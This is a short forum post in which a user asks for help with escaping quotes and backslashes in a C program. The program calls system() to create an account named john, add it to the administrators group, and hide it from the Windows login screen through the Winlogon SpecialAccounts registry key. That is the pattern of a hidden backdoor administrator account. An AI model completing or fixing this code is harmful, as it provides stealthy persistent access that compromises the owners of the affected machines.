so i have this program
Code:
int main(void){
  system("net user john /ADD");
  system("net localgroup administrators john /ADD");
  system("reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v john /t REG_DWORD /d 1 /f");
}
and im having a problem with escape characters/sequences i ve tried so many ways
with const char * or with double \\ to avoid it but i can't realy figure this out... so please if someone has any ideas.. thanks in advance!